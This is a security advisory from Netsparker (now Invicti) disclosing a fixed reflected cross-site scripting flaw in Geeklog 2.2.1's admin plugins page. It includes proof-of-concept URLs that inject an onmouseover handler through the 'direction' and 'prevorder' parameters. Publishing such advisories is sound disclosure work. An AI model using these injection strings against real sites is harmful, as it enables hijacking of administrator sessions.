Cross-Site Scripting Vulnerability in Geeklog 2.2.1


Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in Geeklog
Affected Software: Geeklog
Affected Versions: 2.2.1
Vendor Homepage:
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-001

Technical Details

Cross-site Scripting

URL: http://sectestapp/geeklog-2.2.1/public_html/admin/plugins.php?direction=x"%20onmouseover=netsparker(0x01AAEC)%20x="&order=1&prevorder=pi_load
Parameter Name: direction
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x01AAEC)+x%3d%22

URL: http://sectestapp/geeklog-2.2.1/public_html/admin/plugins.php?direction=ASC&order=1&prevorder=x"%20onmouseover=netsparker(0x019E05)%20x="
Parameter Name: prevorder
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x019E05)+x%3d%22

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

11th March 2020 – First Contact
20th April 2020 – Vendor Fixed
27th April 2020 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing the Invicti Web Application Security Scanner.

About Invicti

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